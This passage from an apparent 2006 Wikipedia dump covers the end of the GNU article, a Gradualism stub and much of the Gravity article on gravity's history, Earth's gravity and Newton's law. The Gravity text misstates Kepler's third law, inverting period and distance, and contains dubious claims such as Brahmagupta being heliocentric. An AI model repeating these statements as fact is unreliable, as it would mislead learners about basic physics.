**[[GNU Multi-Precision Library|GMP]] &amp;ndash; [[arbitrary precision]] numerical calculation programming [[Library (computer science)|library]]
**[[GNOME]] &amp;ndash; graphical desktop environment
**[[GNU LilyPond]] &amp;ndash; a sheet music engraving program
**[[GNU Octave]] &amp;ndash; a program for numerical computations similar to [[MATLAB]]
**[[GNU Privacy Guard|GNU Privacy Guard (GnuPG)]] &amp;ndash; a free encryption tool which can replace [[PGP]]
**[[GNU Robots]] &amp;ndash; small but addictive game for computer programmers
**[[GSL]] &amp;ndash; the GNU Scientific Library
**[[GNUstep]] &amp;ndash; implementation of the [[OpenStep]] standard for a set of libraries and development tools for graphical applications
**[[Guile]] &amp;ndash; embeddable [[Scheme programming language|Scheme]] interpreter

The GNU project also distributes and assists with the development of other packages which originated elsewhere, e.g.:
*[[DDD]] &amp;ndash; graphical frontend for debuggers
*[[ECos|eCos]] &amp;ndash; small operating system for embedded devices
*[[Concurrent Versions System|CVS]] &amp;ndash; source code control

[[As of 2005|As of January 2005]], there are a total of 288 GNU packages hosted on the GNU hosting site   [http://savanah.gnu.org/search/?type_of_search=soft&amp;words=%%%&amp;type=1].  Others are hosted elsewhere.

==Distributions of GNU==
*[[Bee GNU/Hurd]] [http://bee.es.gnu.org/]
*[[Debian GNU/Hurd]] [http://www.debian.org/ports/hurd/]
*[[Unofficial Gentoo/Hurd Project]] [http://hurd.rustedhalo.net/]
*[http://www.superunprivileged.org/hurd/live-cd Superunprivileged.org]'s ''[[Hurd Live CD]]''
*[[GNUAB]] mini-CD distro [http://www.gnuab.org/]
*[[Gnuppix]] - which uses GNU Hurd running on the L4 microkernel.

===Distributions of GNU using Linux kernel===
{{main|GNU/Linux}}

This is by far the most popular variant of GNU.  There are over 300 distributions based on GNU with the [[Linux kernel]].  Some of the most widely used are:
&lt;!-- I suppose 5 is a good number to cap this list at --&gt;
&lt;!-- Not necessarily so, I insist upon adding one or two more --&gt;
*[[Debian GNU/Linux]]
*[[Red Hat Linux]]
*[[Ubuntu Linux|Ubuntu]]
*[[SuSE Linux]]
*[[Mandriva Linux]]
*[[Gentoo Linux]]
*[[Slackware Linux]]

A complete list can be found at [http://www.distrowatch.com Distrowatch.com]

=== Distributions of GNU using kernels of *BSD ===
*[[GNU/kFreeBSD]]: [[Debian GNU/kFreeBSD]]
*[[GNU/NetBSD]]: [[Debian GNU/NetBSD]]

===Distributions of GNU using Solaris kernel===
*[[GNU/Solaris]]: [[Nexenta]]

==See also==
{{Commons|GNU}}

*[[Free Software Foundation]]
*[[Free software movement]]
*[[Free content]]
*[[Open standards]]
*[[Copyleft]]
*[[GNU Free Documentation License]]
*[[List of GNU packages]]

==External links==
*[http://www.gnu.org/ The official GNU website]
*[http://lists.gnu.org/mailman/listinfo/gnu-system-discuss/ gnu-system-discuss mailing list, technical discussion about the GNU system]
*[http://www.gnu.org/gnu/initial-announcement.html Stallman's 1983 announcement of the GNU project]
*[http://www.gnu.org/gnu/thegnuproject.html Stallman gives a lengthy personal account of the project and its history]
*[http://www.gnu.org/encyclopedia/free-encyclopedia.html ''The Free Universal Encyclopedia and Learning Resource'', Stallman's essay concerning a GNU encyclopedia]
*[http://unxutils.sourceforge.net/ Ports of GNU utilities for Microsoft Windows]
*[https://savannah.gnu.org/ Savannah: the GNU project's www portal to its CVS repository - a substitute for Sourceforge]
*[http://ciaran.compsoc.com/texts/15-years-of-free-software.html 15 Years of Free Software] Richard Stallman on the 15th Birthday of GNU
*[http://www.gnu.org/philosophy/use-free-software.html The Free Software Community After 20 Years: With great but incomplete success, what now?]
*[http://hurd.gnufans.org/ The HURD Wiki]
*[http://people.debian.org/~neal/FOSDEM-2005/ FOSDEM 2005 Hurd Developers' Mini-Symposium]
*[http://www.superunprivileged.org/hurd/live-cd/ GNU Hurd Live CD]

{{Unix-like}}

[[Category:Acronyms]]
[[Category:GNU project]]
[[Category:Unix]]
[[Category:Free software operating systems]]
[[Category:Software engineering success stories]]

[[af:GNU]]
[[ar:GNU]]
[[bg:ГНУ]]
[[bs:GNU]]
[[ca:GNU]]
[[cs:GNU]]
[[da:GNU]]
[[de:GNU]]
[[et:GNU]]
[[es:GNU]]
[[eo:GNU]]
[[eu:GNU]]
[[fa:گنو]]
[[fr:GNU]]
[[gl:GNU]]
[[ko:GNU]]
[[hr:GNU]]
[[id:GNU]]
[[ia:Gnu]]
[[ilo:GNU]]
[[is:GNU]]
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[[he:גנו (מערכת הפעלה)]]
[[ku:GNU]]
[[hu:GNU]]
[[mk:ГНУ]]
[[ms:GNU]]
[[nl:GNU]]
[[ja:GNU]]
&lt;!--[[no:GNU (prosjekt)]] not correct, is used in [[GNU Project]]--&gt;
[[nn:GNU]]
[[pl:GNU]]
&lt;!--[[pt:Projecto GNU]] not correct, is used in [[GNU Project]]--&gt;
[[ro:GNU]]
[[ru:GNU]]
[[sq:GNU]]
[[simple:GNU]]
[[sl:GNU]]
[[sr:ГНУ]]
[[fi:GNU]]
[[sv:GNU]]
[[tl:GNU]]
[[th:กนู]]
[[vi:Dự án GNU]]
[[tr:GNU]]
[[uk:GNU]]
[[zh:GNU]]</text>
    </revision>
  </page>
  <page>
    <title>Gradualism</title>
    <id>11877</id>
    <revision>
      <id>41786274</id>
      <timestamp>2006-03-01T19:13:24Z</timestamp>
      <contributor>
        <username>Tsca.bot</username>
        <id>601940</id>
      </contributor>
      <minor />
      <comment>robot  adding: de, pl</comment>
      <text xml:space="preserve">'''Gradualism''' is a [[theory]] which holds that profound change is the cumulative product of slow but continuous processes.  The theory was proposed in [[1795]] by [[James Hutton]], a Scottish geologist, and was later incorporated into [[Charles Lyell]]'s theory of [[Uniformitarianism (science)|uniformitarianism]].  Tenets from both theories were applied to [[biology]] and formed the basis of early [[evolution]]ary theory. (See [[phyletic gradualism]].)

Gradualism is frequently contrasted with [[catastrophism]].

{{geology-stub}}
[[Category:Geology]]

[[de:Gradualismus]]
[[es:Gradualismo]]
[[pl:Gradualizm]]
[[sv:Gradualism]]</text>
    </revision>
  </page>
  <page>
    <title>Gravity</title>
    <id>11878</id>
    <revision>
      <id>42105299</id>
      <timestamp>2006-03-03T21:34:50Z</timestamp>
      <contributor>
        <username>Banno</username>
        <id>22544</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/205.154.181.245|205.154.181.245]] ([[User talk:205.154.181.245|talk]]) to last version by Tasc</comment>
      <text xml:space="preserve">{{otheruses}}
{{mergefrom|gravitation}}
{{split}}

'''Gravity''' is a [[force]] of [[attraction]] that acts between bodies that have [[mass]]. It is a physical phenomenon of fundamental importance, profoundly affecting the workings of the world around us and the universe beyond. Most familiarly, it is the gravitational attraction of the earth that endows objects with [[weight]] and causes them to fall to the ground when dropped. In fact, gravity is also the reason for the very existence of the [[earth]], the [[sun]] and other [[celestial bodies]]; without it matter would not have coalesced into these bodies and life as we know it would not exist. Gravity is also responsible for keeping the earth and the other planets in their orbits around the sun, the [[moon]] in its orbit around the earth, for the [[tides]], and for various other natural phenomena that we observe. 

In common usage &quot;gravity&quot; and &quot;gravitation&quot; are either used interchangeably, or the distinction is sometimes made that &quot;gravity&quot; is specifically the attractive force of the earth, while &quot;gravitation&quot; is the general property of mutual attraction between bodies of matter. In technical usage, &quot;gravitation&quot; is the tendency of bodies to accelerate towards one another, and &quot;gravity&quot; is the ''force'' that some theories use to explain this acceleration.

Gravity was rather poorly understood until [[Isaac Newton]] formulated his law of gravitation in the [[17th century]]. Newton's theory is still widely used for many practical purposes, though for more advanced work it has been supplanted by [[Einstein]]'s [[general relativity]]. While a great deal is now known about the properties of gravity, the ultimate cause of the gravitational force remains an open question and gravity remains an important topic of scientific research.

== Overview of the history of gravitational theory ==
The first mathematical formulation of gravity was [[Isaac Newton]]'s [[Newton's law of universal gravitation|law of universal gravitation]], published in his [[1687]] work ''[[Philosophiae Naturalis Principia Mathematica|Principia Mathematica]]''. Professor William Whewell of Cambridge University, author of ''History of the Inductive Sciences'' (1837) stated:

:&quot;The law of gravitation is indisputably and incomparably the greatest scientific discovery ever made, whether we look at the advance which it involved, the extent of the truth disclosed, or the fundamental and satisfactory nature of this truth.&quot; [In ''A Treasury of Science'' ed. Harlow Shapley et al, Harper &amp; Bros. NY: 1946]

Although the law of universal gravitation was first clearly and rigorously formulated by Isaac Newton, the phenomenon was observed and recorded by others. Even [[Ptolemy]] (c. [[100]]-[[178]]) had a vague conception of a force tending toward the center of the Earth which not only kept bodies upon its surface, but in some way upheld the order of the universe. [[:Category:Indian astronomers|Indian astronomer]] [[Brahmagupta]] ([[598]]-[[668]]), who followed a [[heliocentric]] [[solar system]], was the first to recognize gravity as a force of attraction. He explained that &quot;bodies fall towards the Earth as it is in the nature of the Earth to attract bodies, just as it is in the nature of water to flow&quot;. The [[Sanskrit]] term he used for gravity, 'gruhtvaakarshan' [similar sounding to the English 'gravity' when pronounced correctly] had roughly the same meaning as &quot;attraction&quot;. [[Johannes Kepler]] ([[1571]]–[[1630]]) inferred that the planets move in their orbits under some influence or force exerted by the Sun; but the laws of motion were not then sufficiently developed, nor were Kepler's ideas of force sufficiently clear, to make a precise statement of the nature of the force. [[Christiaan Huygens]] and [[Robert Hooke]], contemporaries of Newton, saw that Kepler's third law implied a force which varied inversely as the square of the distance. Newton's conceptual advance was to understand that the same force that causes a thrown rock to fall back to the Earth keeps the planets in [[orbit]] around the Sun, and the Moon in orbit around the Earth.

Newton was not alone in making significant contributions to the understanding of gravity. Before Newton, [[Galileo Galilei]] corrected a common misconception, started by [[Aristotle]], that objects with different mass fall at different rates. To Aristotle, it simply made sense that objects of different mass would fall at different rates, and the ancient Greeks relied more on philosophic thought experiments than experimentation. Galileo, however, used experiments that actually observed falling objects of different mass released simultaneously. Most of Galileo's work was done with objects on inclined planes. Aside from differences due to friction, Galileo observed that all masses accelerate at the same rate.  Newton's equation, &lt;math&gt;F = m a&lt;/math&gt;, (see [[#Acceleration due to gravity|Acceleration due to gravity]]) showed insight into gravity's proportionality to mass that was missing from Galileo's law of inertia. However, both the work of [[Johannes Kepler]] and Galileo influenced Isaac Newton's formulation of the law of gravity.

Newton's law remained the standard theory of gravity until it was replaced by [[#Einstein's theory of gravitation|Einstein's theory of gravitation]] ([[general relativity]]) in the early part of the 20th century. Motivated by the [[equivalence principle]], this more accurate theory postulates that [[stress-energy tensor|mass and energy]] [[curvature|curve]] [[space-time]], resulting in the phenomenon known as gravity. However, because general relativity's influence on gravity calculations is minimal or even imperceptible at speeds much less than the speed of light, Newtonian gravity is sufficiently accurate for calculations involving weak gravitational fields (e.g., launching [[rocket]]s, [[projectile]]s, [[pendulum]]s, etc.), and Newton's formulae are generally still preferred where they are applicable.

A number of [[#Alternative theories|alternative theories]] of gravitation have been proposed over the years, but none has gained general acceptance. Current theoretical work largely focuses on the relationship between [[#Gravity and quantum mechanics|gravity and quantum mechanics]].

==The Earth's gravity==
The [[#Acceleration due to gravity|acceleration due to gravity]] at the [[Earth]]'s surface, denoted ''g'', is approximately 9.8 m/s&lt;sup&gt;2&lt;/sup&gt; (metres per second squared) or 32 ft/sec&lt;sup&gt;2&lt;/sup&gt;. This means that, ignoring air resistance, an object falling freely near the earth's surface increases in speed by 9.8 m/s (around 22 mph) for each second of its descent. Thus, an object starting from rest will attain a speed of 9.8 m/s after one second, 19.6 m/s after two seconds, and so on. The earth itself experiences an equal and opposite force to that of the falling object, meaning that the earth also accelerates towards the object. However, because of the immense mass of the earth this acceleration is vanishingly small.

Non-gravitational acceleration of a roughly similar order of magnitude, such as is experienced in an aircraft or racing car, is often stated in multiples of ''g''. When used as a measurement unit, the quantity is often called &quot;gee&quot;, as ''g'' can be mistaken for g, the [[gram]] symbol.

[[Image:C71_geoid_smooth_Earth-Gravity-ESA.jpg|thumb|right|250px|The Gravity Field and Steady-State Ocean Circulation Explorer project ([[GOCE]]) will measure high-accuracy gravity gradients and provide a global model of the Earth's gravity field and of the [[geoid]]. (ESA image)]]
Precise values of ''g'' vary depending on the location on the Earth's surface. The ''standard acceleration due to gravity'' at the Earth's surface is, by definition, 9.80665 m/s&lt;sup&gt;2&lt;/sup&gt;. This quantity is known variously as ''g''&lt;sub&gt;n&lt;/sub&gt;, ''g''&lt;sub&gt;e&lt;/sub&gt; (though this sometimes means the normal equatorial value on Earth, 9.78033 m/s&amp;sup2;), ''g''&lt;sub&gt;0&lt;/sub&gt;, gee, or simply ''g'' (which is also used for the variable local value). The variation in gravitational strength per unit distance is measured in inverse seconds squared or in [[eotvos (unit)|eotvoses]], a [[centimeter-gram-second system of units|cgs]] unit of gravitational [[gradient]]. 

When measuring ''g'' with precision, it is important to distinguish between the ''actual'' strength of gravity and the ''apparent'' strength of gravity. Local variations in the ''actual'' strength of the Earth's gravitational field arise because the earth is not a perfect sphere and is not of uniform density. The main deviation from sphericity is the earth's equatorial bulge, which causes gravity to be weaker at the equator than the poles. The local topography (such as the presence of mountains) and geology (the density of rocks in the vicinity) also influence the gravitional field to a small extent. 

Other forces acting on an object may augment or oppose the earth's actual gravitational field, causing variations in the ''apparent'' force of gravity (see also [[Apparent weight]].) One example is the centrifugal force caused by the earth's rotation, which imparts an upwards force opposing gravity and diminishing its apparent effect. This effect is stronger at lower latitudes (i.e. nearer the equator), reducing to zero at the poles. Another example is buoyancy: even in air, objects experience a small supporting force which reduces the apparent strength of gravity. Finally, the gravitational effects of the [[Moon]] and the [[Sun]] (also the cause of the [[tide]]s) also have a small effect on apparent gravity, depending on their relative positions; typical variations are 2 &amp;micro;m/s&amp;sup2; (0.2 [[Gal (unit)|mGal]]) over the course of a day. 

In combination, the equatorial bulge and the effects of centrifugal force mean that sea-level gravitational acceleration increases from about 9.780 m/s&amp;sup2; at the equator to about 9.832 m/s&amp;sup2; at the poles, so an object will weigh about 0.5% more at the poles than at the equator [http://curious.astro.cornell.edu/question.php?number=310]. See [[Gee]] for further information.

Gravity also decreases with altitude (since greater altitude means greater distance from the earth's centre). All other things being equal, an increase in altitude from sea level to the top of Mount Everest (8,850 metres) causes a weight decrease of about 0.28%. It is a common misconception that astronauts in orbit are weightless because they have flown high enough to &quot;escape&quot; the earth's gravity. In fact, at an altitude of 250 miles (roughly the height that the space shuttle flies) gravity is still nearly 90% as strong as at the earth's surface, and weightlessness actually occurs because orbiting objects are in [[free-fall]].

If the earth was of perfectly uniform composition then, during a descent to the centre of the earth, gravity would decrease linearly with distance, reaching zero at the centre. In reality, the gravitational field peaks within the Earth at the [[Earth#The core|core]]-[[Earth#mantle|mantle]] boundary where it has a value of 10.7 m/s&amp;sup2;.  

===Comparative gravities of the Earth, Sun, Moon and planets===
The table below shows gravitational accelerations (in multiples of ''g'') ''at the'' surface of the Sun, the Earth's moon, and each of the planets in the solar system. The &quot;surface&quot; is taken to mean the cloud tops of the gas giants (Jupiter, Saturn, Uranus and Neptune). It is usually specified as the location where the pressure is equal to a certain value (normally 75 kPa?). For the Sun, the &quot;surface&quot; is taken to mean the [[photosphere]].

{| style=&quot;text-align: left;&quot; class=&quot;wikitable&quot;
| width=&quot;80px&quot;|[[Sun]]
| width=&quot;40px&quot;| 27.9
|-
| [[Mercury (planet)|Mercury]]
| 0.37
|-
| [[Venus (planet)|Venus]]
| 0.88
|-
| [[Earth (planet)|Earth]]
| 1.00 (by definition)
|-
| [[Moon]]
| 0.16
|-
| [[Mars (planet)|Mars]] 
| 0.38
|-
| [[Jupiter (planet)|Jupiter]]
| 2.64
|-
| [[Saturn (planet)|Saturn]] 
| 1.15
|-
| [[Uranus (planet)|Uranus]]
| 0.93
|-
| [[Neptune (planet)|Neptune]]
| 1.22
|-
| [[Pluto (planet)|Pluto]]
| 0.06
|}

For spherical bodies, surface gravity in m/s&lt;sup&gt;2&lt;/sup&gt; is 2.8 &amp;times; 10&lt;sup&gt;&amp;minus;10&lt;/sup&gt; times the radius in metres times the average density in kg/m&lt;sup&gt;3&lt;/sup&gt; (kilograms per cubic metre).

When flying from Earth to Mars, climbing against the field of the Earth at the start is 100 000 times heavier than climbing against the force of the sun for the rest of the flight.

==Mathematical equations for a falling body==
The equations below describe a value of the force pulling down a falling body, assuming that the acceleration due to gravity is a constant, ''[[gee|g]]'' (in which case Newton's law of gravitation simplifies to ''F'' = ''mg'' where m is the mass of the body). This assumption is reasonable for objects falling to earth over the relatively short vertical distances of our everyday experience, but is very much untrue over larger distances (such as spacecraft trajectories). 

[[Galileo Galilei|Galileo]] was the first to demonstrate and then formulate these equations. He used a [[ramp]] to study rolling balls, the ramp slowing the acceleration enough to measure the time taken for the ball to roll a known distance. He measured elapsed time with a [[water clock]], using an &quot;extremely accurate balance&quot; to measure the amount of water{{fn|2}}.

The equations ignore air resistance, which has a dramatic effect on objects falling an appreciable distance in air, causing them to quickly approach a [[terminal velocity]]. For example, a person jumping headfirst from an airplane will never exceed a speed of about 200 mph due to air resistance. The effect of air resistance varies enormously depending on the size and geometry of the falling object &amp;ndash; for example, the equations are hopelessly wrong for a feather, which has a low mass but offers a large resistance to the air. (In the absence of an atmosphere all objects fall at the same rate, as astronaut [[David Scott]] demonstrated by dropping a hammer and a feather on the surface of the [[Moon]].) 

The equations also ignore the rotation of the Earth, failing to describe the [[Coriolis effect]] for example. Nevertheless, they are usually accurate enough for dense and compact objects falling over heights not exceeding the tallest man-made structures.

Near the surface of the Earth, use '''''g'' = 9.8 m/s&lt;sup&gt;2&lt;/sup&gt;''' (metres per second per second), approximately. For other planets, multiply ''g'' by the appropriate [[#Comparative gravities of the Earth, Sun, Moon and planets|scaling factor]]. It is essential to use consistent units for ''g'', ''d'', ''t'' and ''v''. Assuming [[SI units]], ''g'' is measured in metres per second per second, so ''d'' must be measured in metres, ''t'' in seconds and ''v'' in metres per second. To convert metres per second to kilometres per hour (km/h) multiply by 3.6. In all cases the body is assumed to start from rest. 

{|cellspacing=&quot;10px&quot;
|-
|style=&quot;width:40%&quot;|Distance ''d'' travelled by an object falling for time ''t'': 
|style=&quot;width:60%&quot;|&lt;math&gt;\  d=\frac{1}{2}gt^2 &lt;/math&gt;&lt;br&gt;
|-valign=&quot;top&quot;
||Time ''t'' taken for an object to fall distance ''d'': 
||&lt;math&gt;\   t =\frac{ \sqrt {2gd}}{g} \ &lt;/math&gt;&lt;br&gt;
|-
||Instantaneous velocity ''v&lt;sub&gt;i&lt;/sub&gt;'' of a falling object after elapsed&amp;nbsp;time ''t'':
||&lt;math&gt;\  v_i = gt &lt;/math&gt;
|-
||Instantaneous velocity ''v&lt;sub&gt;i&lt;/sub&gt;'' of a falling object that has travelled distance ''d'':  
|| &lt;math&gt;\ v_i = \sqrt {2gd}\ &lt;/math&gt;&lt;br&gt;
|-
||Average velocity ''v&lt;sub&gt;a&lt;/sub&gt;'' of an object that has been falling&amp;nbsp;for time ''t''  (averaged over time):
||&lt;math&gt;\  v_a =\frac{1}{2}gt &lt;/math&gt;&lt;br&gt;
|-
||Average velocity ''v&lt;sub&gt;a&lt;/sub&gt;'' of a falling object that has travelled distance ''d'' (averaged over time):  
||&lt;math&gt;\  v_a  =\frac{ \sqrt {2gd}}{2} \ &lt;/math&gt;&lt;br&gt;
|-
|}

'''Example:''' the first equation shows that, after one second, an object will have fallen a distance of 1/2 &amp;times; 9.8 &amp;times; 1&lt;sup&gt;2&lt;/sup&gt; = 4.9 meters. After two seconds it will have fallen 1/2 &amp;times; 9.8 &amp;times; 2&lt;sup&gt;2&lt;/sup&gt; = 19.6 metres; and so on.

===Gravitational potential===
For any mass distribution there is a [[scalar field]], the gravitational [[potential]] (a [[scalar potential]]), which is the [[Potential energy#Gravitational potential energy|gravitational potential energy]] per unit mass of a point mass, as function of position. It is 

&lt;math&gt;- G \int{1 \over r} dm&lt;/math&gt;

where the integral is taken over all mass.
Minus its [[gradient]] is the gravity field itself, and minus its [[Laplace operator|Laplacian]] is the [[divergence]] of the gravity field, which is everywhere equal to -4&amp;pi;''G'' times the local density.

Thus when outside masses the potential satisfies [[Laplace's equation]] (i.e.,  the potential is a [[harmonic function]]), and when inside masses the potential satisfies [[Poisson's equation]] with, as right-hand side, 4&amp;pi;''G'' times the local density.

=== Acceleration relative to the rotating Earth ===
The acceleration measured on the rotating surface of the Earth is not quite the same as the acceleration that is measured for a free-falling body because of the [[centrifugal force]]. In other words, the apparent acceleration in the rotating frame of reference is the total gravity vector minus a small vector toward the north-south axis of the Earth, corresponding to staying stationary in that frame of reference.

==Gravity and astronomy==
:''&quot;I deduced that the forces which keep the planets in their orbs must be reciprocally as the squares of their distances from the centres about which they revolve, and thereby compared the force requisite to keep the moon in her orb with the force of gravity at the surface of the earth and found them to answer pretty nearly.&quot;'' -- Isaac Newton, 1666

So Newton's original formula was:

:&lt;math&gt;{\rm Force\,of\,gravity} \propto \frac{\rm mass\,of\,object\,1\,\times\,mass\,of\,object\,2}{\rm distance\,from\,centers^2}&lt;/math&gt;

where the symbol &lt;math&gt;\propto&lt;/math&gt; means &quot;is proportional to&quot;.

To make this into an equal-sided formula or equation, there needed to be a multiplying factor or constant that would give the correct force of gravity no matter the value of the masses or distance between them.  This [[gravitational constant]] was discovered in 1797 by [[Henry Cavendish]].

Thus the discovery and application of Newton's law of gravity accounts for the detailed information we have about the planets in our solar system, the mass of the sun, the distance to stars and even the theory of [[dark matter]].  Although we haven't traveled to all the planets nor to the sun, we know their mass.  This is through the study of the law of gravity.

In space everything is in an orbit around some massive object. They maintain [[orbit]] because of the force of gravity between them. Planets orbit stars, stars orbit [[galactic center]]s, [[galaxy]]s orbit a center of mass in clusters, and clusters orbit in [[supercluster]]s.

By watching how the position of a planet changes with respect to earth over the course of a year, we can determine by using geometry how far that planet is from the sun compared to how far the earth is, thus getting the distance from that planet to the sun. [[Copernicus]] calculated the distances of the inner planets and Kepler noticed a relation between them and their orbits.  When Newton formulated his law of gravity, he generalized [[Kepler's third law]] to show that the masses of the sun and the planets were involved in the calculation.  From Newton's law of gravity, science calculated the mass of the sun basically using Kepler's third law that the [[sidereal period]] of an object in orbit around another object cubed is equal to the distance between them, the radius, squared, in conjunction with Newton's law of gravity applying the product of the masses.  

From this calculation using Newton's law of gravity any two orbiting objects in the universe could be compared and their masses could be calculated. Where the sidereal period is known then the [[centripetal acceleration]] is known given the distance between the objects.  Therefore, from a known velocity of an astronomical object orbiting around another astronomical object and from the known distance between them, you can calculate the masses of the objects. This is all due to the law of gravity where the force between objects is proportional to their masses and inversely proportional to the distance between them.

[[Image:Albireo.jpg|thumb|100px|[[Albireo]], [[binary star]] system. ]]

The calculations from Newton's law of gravity are so exact for astronomical measurements (except near [[black holes]] and [[neutron stars]]) that in 1846 two astronomers, [[John Couch Adams]] and [[Urbain Le Verrier]], working independently, located an undiscovered planet later called Neptune simply by mathematical calculations using the law of gravity. (In fact, these calculations have been described as &quot;totally wrong&quot;, and the agreement of Neptune's actual position with its calculated position an &quot;accident&quot; [http://www.iac.es/galeria/mrk/Neptune.html]. However, this was due to human error, not a flaw in the law of gravity.) 

===Self-gravitating system===
A self-gravitating system is a system of masses kept together by mutual gravity. An example is a [[binary star]].

==Practical uses of gravity==
A vast number of mechanical contrivances depend in some way on gravity for their operation. This list includes applications where gravity plays a central or particularly interesting role.

*A height difference can provide a useful pressure in a liquid, as in the case of an [[intravenous drip]] or a [[water tower]].

[[Image:DubuqueShotTowerMay04.jpg|right|thumb|150px|[[Shot Tower (Dubuque)|Shot Tower]], [[1856]] [[Dubuque, Iowa]]]] 
*The gravitational potential energy of water supplies [[hydroelectricity]]. It can also be used to power a tramcar up an incline, using a system of water tanks and pulleys. An example is the [http://www.cliffrailwaylynton.co.uk/ Lynton &amp; Lynmouth Cliff Railway] in Devon, England.

*A weight hanging from a cable over a [[pulley]] provides a constant tension in the cable, including the part on the other side of the pulley to the weight.

*Molten [[lead]], when poured into the top of a [[shot tower]], will coalesce into a rain of spherical lead shot, first separating into droplets, forming molten spheres, and finally freezing solid, undergoing many of the same effects as meteoritic [[tektite]]s, which will cool into spherical, or near-spherical shapes in [[free-fall]].

*A [[fractionation]] [[tower]] can be used to manufacture some materials by separating out the material components based on their [[specific gravity]].

*Weight-driven [[clocks]] are powered by gravitational potential energy, and pendulum clocks depend on gravity to regulate time.

*Artificial [[satellite]]s are an application of gravitation  which was mathematically described in Newton's ''[[Principia]]''.

==Newton's law of universal gravitation==
{{splitsection}}
Newton's law of universal gravitation states the following:

:Every [[point mass]] attracts every other [[point mass]] by a [[force]] directed along the [[line (mathematics)|line]] connecting the two. This force is [[proportional]] to the [[product (mathematics)|product]] of the [[mass]]es and [[inversely proportional]] to the [[square (algebra)|square]] of the distance between them:

:&lt;math&gt;F = G \frac{m_1 m_2}{r^2}&lt;/math&gt;

where:

:''F'' is the magnitude of the (repulsive) gravitational force between the two point masses
:''G'' is the [[gravitational constant]]
:''m''&lt;sub&gt;1&lt;/sub&gt; is the mass of the first point mass
:''m''&lt;sub&gt;2&lt;/sub&gt; is the mass of the second point mass
:''r'' is the distance between the two point masses

Assuming [[SI units]], ''F'' is measured in [[newtons]] (N), ''m''&lt;sub&gt;1&lt;/sub&gt; and ''m''&lt;sub&gt;2&lt;/sub&gt; in [[kilograms]] (kg), ''r'' in [[metres]] (m), and the constant ''G'' is approximately equal to 6.67 &amp;times; 10&lt;sup&gt;&amp;minus;11&lt;/sup&gt; N m&lt;sup&gt;2&lt;/sup&gt; kg&lt;sup&gt;&amp;minus;2&lt;/sup&gt; (newtons times metres squared per kilogram squared).

It can be seen that the ''repulsive'' force ''F'' is always negative, which means that the net ''attractive'' force is positive. (This sign convention is adopted in order to be consistent with [[Coulomb's Law]], where a positive force means repulsion between two [[Electric charge|charges]].)

===Acceleration due to gravity===
Let ''a''&lt;sub&gt;1&lt;/sub&gt; be the acceleration due to gravity experienced by the first point mass. Newton's second law states that &lt;math&gt;F= m_1\ a_1&lt;/math&gt;, meaning that &lt;math&gt;a_1=\frac{F}{m_1}&lt;/math&gt;. Substituting ''F'' from the earlier equation gives

:&lt;math&gt;a_1 = -G \frac{m_2}{r^2}&lt;/math&gt;

and similarly for ''a''&lt;sub&gt;2&lt;/sub&gt;.

Assuming [[SI units]], gravitational acceleration (as acceleration in general) is measured in [[metre per second squared|metres per second squared]] (m/s&lt;sup&gt;2&lt;/sup&gt; or m&amp;nbsp;s&lt;sup&gt;&amp;minus;2&lt;/sup&gt;). Non-SI units include [[galileo (unit)|galileo]]s, [[gee|gees]] (see later), and [[foot|feet]] per second squared.

Notice in the above equation that ''a''&lt;sub&gt;1&lt;/sub&gt;, the acceleration of the mass ''m''&lt;sub&gt;1&lt;/sub&gt;, does not actually depend on the magnitude of ''m''&lt;sub&gt;1&lt;/sub&gt;. One consequence is that all bodies, regardless of their mass, fall to earth at the same rate (ignoring air resistance).

If ''r'' changes proportionally very little during an object's travel &amp;ndash; such as an object falling near the surface of the earth &amp;ndash; then the acceleration due to gravity appears very nearly constant (see also [[#The Earth's gravity|The Earth's gravity]]). Across a large body, variations in ''r'', and the consequent variation in gravitational strength, can create a significant [[tidal force]].

===Bodies with spatial extent===
If the bodies in question have spatial extent (rather than being theoretical point masses), then the gravitational force between them is calculated by summing the contributions of the notional point masses which constitute the bodies. In the limit, as the component point masses become &quot;infinitely small&quot;, this entails [[integral|integrating]] the force (in vector form, see below) over the extents of the two [[Physical body|bodies]]. 

In this way it can be shown that an object with a spherically-symmetric distribution of mass exerts the same gravitational attraction on external bodies as if all the object's mass were concentrated at a point at its centre{{fn|1}}. (This is not generally true for non-spherically-symmetrical bodies.

===Vector form===
[[Image:Gravitymacroscopic.png|thumb|200px|Gravity on Earth from a macroscopic perspective.]]
[[Image:Gravityroom.png|thumb|222px|Gravity in a room: the curvature of the Earth is negligible at this scale, and the force lines can be approximated as being [[parallel (geometry)|parallel]] and pointing straight down to the center of the Earth]]
[[Image:M13.arp.750pix.jpg|thumb|[[Globular Cluster M13]] demonstrates gravitational field.]]

Newton's law of universal gravitation can be written as a [[vector (spatial)|vector]] [[equation]] to account for the direction of the gravitational force as well as its magnitude. In this formula, quantities in '''bold''' represent vectors.

:&lt;math&gt;
 \mathbf{F}_{12} =
 G {m_1 m_2 \over r_{21}^2}
 \, \mathbf{\hat{r}}_{21}
&lt;/math&gt; or &lt;math&gt;
 \mathbf{F}_{12} =
 - G {m_1 m_2 \over r_{21}^2}
 \, \mathbf{\hat{r}}_{12}
&lt;/math&gt;

where 

:'''F'''&lt;sub&gt;12&lt;/sub&gt; is the force on object 1 due to object 2
:''G'' is the gravitational constant
:''m''&lt;sub&gt;1&lt;/sub&gt; and ''m''&lt;sub&gt;2&lt;/sub&gt; are respectively the masses of objects 1 and 2
:r&lt;sub&gt;21&lt;/sub&gt; = | '''r'''&lt;sub&gt;2&lt;/sub&gt; &amp;minus; '''r'''&lt;sub&gt;1&lt;/sub&gt; | is the distance between objects 2 and 1
:&lt;math&gt; \mathbf{\hat{r}}_{21} \equiv \frac{\mathbf{r}_2 - \mathbf{r}_1}{\vert\mathbf{r}_2 - \mathbf{r}_1\vert} &lt;/math&gt; is the [[unit vector]] from object 1 to 2 

It can be seen that the vector form of the equation is the same as the [[scalar]] form given earlier, except that '''F''' is now a vector quantity, and the right hand side is multiplied by the appropriate unit vector. Also, it can be seen that '''F'''&lt;sub&gt;12&lt;/sub&gt; = &amp;minus; '''F'''&lt;sub&gt;21&lt;/sub&gt;.

The vector formula for gravitational acceleration is similarly analogous to the scalar formula:

:&lt;math&gt;
  \mathbf{a}_1 =
  G {m_2 \over r^2_{21}}
  \, \mathbf{\hat{r}}_{21}
 &lt;/math&gt;

===Gravitational field===
The '''gravitational field''' is a [[vector field]] that describes the gravitational force which would be applied on an object in any given point in space, per unit mass. It is actually equal to the gravitational acceleration at that point.

